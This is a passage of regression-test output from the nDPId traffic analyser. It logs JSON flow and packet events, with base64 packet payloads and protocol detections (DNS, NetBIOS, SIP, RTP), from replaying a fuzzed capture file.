type","thread_id":0,"packet_id":607,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":0} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":608,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470971,"pkt_ts_usec":72344,"pkt_caplen":92,"pkt_type":0,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AODtAW69AABFAABOa+4AAIARSl\/AqAECwKgB\/wCJAIkAOlt8hV8BEAABAAAAAAAAIEVGRW9FSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQTVNAAAgAAE="} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":608,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":0} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":611,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":1,"flow_first_seen":1120470971822,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.37","src_port":29440,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":225,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":611,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470971,"pkt_ts_usec":822331,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOa+8AAIARSl7AqAECwKgBJXMAAIkAOls8hV8BEAABAAAAAAAAIUVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":611,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":1,"flow_first_seen":1120470971822,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.37","src_port":29440,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":612,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470971,"pkt_ts_usec":852414,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAGVIa\/AAAIARS2HAqAECwKgBAQr+ADUANOrBPwUBAAABAAAACAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":612,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00469{"flow_id":224,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":614,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470975,"pkt_ts_usec":858171,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa\/IAAIARS1\/AqAECwKgBAQr+ADUANOrBPwUBAAABAAAAAAAABF9zaWIEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00718{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":614,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":2,"flow_first_seen":1120470966852,"flow_last_seen":1120470975858,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2814,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sib._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":615,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":2,"flow_first_seen":1120470373592,"flow_last_seen":1120470373593,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2775,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":615,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":1,"flow_first_seen":1120470966440,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2813,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":615,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":1,"flow_first_seen":1120470971822,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.37","src_port":29440,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":615,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":1,"flow_first_seen":1120470983860,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2815,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00465{"flow_id":226,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":615,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470983,"pkt_ts_usec":860327,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEa\/cAAIARS17AqAECwKgBAQr\/ADUAMJu6iQWqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00664{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":615,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":1,"flow_first_seen":1120470983860,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2815,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":170,"num_answers":254,"reply_code":10,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":616,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470983,"pkt_ts_usec":861836,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AODtam69ADBUADRWCABFAABLAABcAEARtz7AqAEBhagBAgA1Cv8AR342iQWAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":616,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":618,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":1,"flow_first_seen":1120470983999,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2816,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":227,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470983,"pkt_ts_usec":999111,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa\/kAAIARS1jAqAECwKgBAQsAADUANFW+1AYBAAABAAAAAAAABOxzaXAEX3VkcANzaHAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":618,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":1,"flow_first_seen":1120470983999,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2816,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.shp.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":622,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":1,"flow_first_seen":1120470984353,"flow_last_seen":0,"flow_tot_l4_data_len":332,"flow_min_l4_data_len":332,"flow_max_l4_data_len":332,"flow_avg_l4_data_len":332,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.201","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00843{"flow_id":228,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":622,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470984,"pkt_ts_usec":353086,"pkt_caplen":366,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":366,"pkt_l4_len":332,"pkt":"ADBUADRWAODt4G69CABFAAFga\/oAAIARFdPAqAEC1PIhyRPEE8QBRC7GQUNLIHNpcDozNTEwNDcwNEBzaXAuY3liZXJjaXR5LmRrIFNJUC8yLjANCkZyb206ICJhcmlrIiA8c2lwOjM1MTA0qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":622,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":1,"flow_first_seen":1120470984353,"flow_last_seen":0,"flow_tot_l4_data_len":332,"flow_min_l4_data_len":332,"flow_max_l4_data_len":332,"flow_avg_l4_data_len":332,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.201","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +00468{"flow_id":227,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":623,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":234614,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADTZAODtAW69CABFAABIa\/sAAIARS1bAqAECwKgBAQsAADUANFW+1AYBAAABAAAAAAAABF9zaXAEX3VkUQNzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":624,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":1,"flow_first_seen":1120470985348,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"212.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00644{"flow_id":229,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":624,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":348411,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIa\/wAAIARFmjAqAED1PIhJHUwncgAHRjegAhvrgAABNg3lstx1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1U\/V1dXV1REEHBgYEhIeEBQXahMcGAQEBQYBAQAHBQUZEwUbGRATGQUEBAcDAgMDAAACDQ0NAAEDDQwNAAABAgMBBgYBDw4eDAMABwYAAwMGBwEEBgYbHxwRaWBiFBEQFGoTFWBpYX10UltZ10dcVlJVREtCdatzeFp8bmgUag=="} +00523{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":624,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":1,"flow_first_seen":1120470985348,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"212.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","ndpi": {"proto":"RTP","breed":"Acceptable","category":"Media"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":625,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":1,"flow_first_seen":1120470985418,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"37.115.0.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00645{"flow_id":230,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":625,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":418358,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUNjRWAODtAW69CABFAADIa\/0AAIARFmfAqAECJXMAJHUwncgAtL+rgAhvrwAABXg3lstxbmgVFGoUFBVpYG5qbG5kbGoWF2xubWBmfn9Fxsnw\/Ofz+uXwy+phC83k+sJTdF9CW\/bw8vzg7pfo8ldaT011Z399ZmV0dUN4S0dVQ2dmbWNsZGZkeGRvbxQUbBcRExAXEBwfHRAQFhAQHxwfGR4YEBcSFGxibWNqFRUXbmV3ckDQ93N9fmJnYmoVahcVZa9xWll+YGZ6cnJJZXpgeF1EQg=="} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":625,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":1,"flow_first_seen":1120470985418,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"37.115.0.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","ndpi": {"proto":"RTP","breed":"Acceptable","category":"Media"}} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":626,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":1,"flow_first_seen":1120470985421,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00646{"flow_id":231,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":626,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":421891,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIa\/4AAIARFmbAqAEC1PIhJHUwncgAtNyMgGNvsAAABhg3lstxcX5wdvzF0Et0dn92T1BB0VhmZ2V\/Z294Y2ZmahQXFhQREBAVb2ZPemVlYWJoYE9\/YWZkcnV4bWwVFRVqZ2xpYn94ZmBnY2F0zfjXdmNiYXhveHJgaW5jUFlwZTFkYc9lamoREhAQEx4fHx0XahRvRl1F3V5ESXjQxFFR39TfQXR\/Z9L15ebs6JeW7+DslJOU6uqUn5CcnJKX+Ofs5+Hg6g=="} +00523{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":626,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":1,"flow_first_seen":1120470985421,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","ndpi": {"proto":"RTP","breed":"Acceptable","category":"Media"}} +00643{"flow_id":231,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":627,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":427557,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIa\/8AAIARFmXAqAEC1PIhJHUwncgAtJlvgAhvsQAABrg3lstxkpfo6Zfq5frn5uz6+gt4emFkcGBneMvv7+rslZHuqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00648{"flow_id":231,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":628,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":429664,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIbAAAAIARFmTAqAEC1PIhJHUwncgAtMoSgAhvsgAABVg3lstxRH1wXN719vLg7uHxw3h4ZHZhfE9UWV\/RzzPt5\/PklJOUlJXt4uzx+Pjm5vPHzf38\/fr05+3ikurj4ezn4+H6\/97AwEJ8S9DN9Vd1XdzJ8eDp6eXwzcXWRUJnZHhnYX96aHLW+ubo6eHg5\/DG\/MNRcE3B+ubNy+Xu7Obt7+qX4+7oy9fw3vLT3N1W19X49PBBf39jZnhmbBEdEWpqb2BweA=="} +00643{"flow_id":231,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":629,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":464477,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIbAEAAIARFmPAqAEC1PIhJHUwncgAtHeogAhvswAAB\/g3louqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00642{"flow_id":231,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":630,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":466372,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIbAIAAIARFmLAqAEC1PIhJHUwncgAqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":631,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":1,"flow_first_seen":1120470985504,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"214.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00646{"flow_id":232,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":631,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":504000,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIbAMAAIARFmHAqAEC1vIhJHUwncgAtLaDgAhvtQAACTg3lstx6urs5ueUkJOXlZGWbOyVlOD46O7hzXXbxsfz\/OLg5ufawPH4wk3N8Obu7+Pv6unk4fj\/29jZ1\/7l4+Ht7JOXyOrs4vPPUfVQz97J5fLjl5GXkpyRl+jqk5aQlero4svh7+rslJfp6uP+9vbL+OLg5vj99\/LL9ub4+uTs6ZSVlJXp6Ojv7eqWkZOTnJORkpCbk5GXlpaRkJBK6ejp7JWXlw=="} +00523{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":631,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":1,"flow_first_seen":1120470985504,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"214.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","ndpi": {"proto":"RTP","breed":"Acceptable","category":"Media"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":632,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":1,"flow_first_seen":1120470985511,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"81.168.1.2","dst_ip":"212.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00646{"flow_id":233,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":632,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":511036,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAb+9CABFAADIbAQAAIARFm9RqAEC1PIhJHUwncgAtIfqgAhvtgAACdg3lstxlpDplp2cmZ6fkpaRle3n9PTy\/CVzAJKehIeEmJGRl52QlJaX6OOU6JaRlp2cn4WEhZ2RkJeV6WOQnZ6EhJOFh4WFmYWYk7+dkpCQ6u\/qkZ2fmYSYnZ6Rk5OU7OD6+Pbh4PTl+OTo6unl9eXi7f7c1VT\/+uiX6JSUkJCV7uXm\/Obu7pWWkZeW7OPpk5Ofm5+Yk5WV7untlJeSkpeV7+qWkA=="} +00522{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":632,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":1,"flow_first_seen":1120470985511,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"81.168.1.2","dst_ip":"212.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","ndpi": {"proto":"RTP","breed":"Acceptable","category":"Media"}} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":633,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470986,"pkt_ts_usec":363611,"pkt_caplen":146,"pkt_type":20992,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":146,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69UgBFAACEbAVoAIARFqPAqAEC9PIhJHUxnckAcCyBgMgABjeWy3FCyQfKXvrGAwAAJMMAAAAJAAAGDIHKAAs3lstxAR0xMTg5NDI5Ny00NDMyYTlmOEAxOTIuMTY4LjEuMgYFU0lQUFMAAIHLAAY3lstxEHNlc3Npb24gc2h1dGRvd24AAAE="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":633,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":20992} 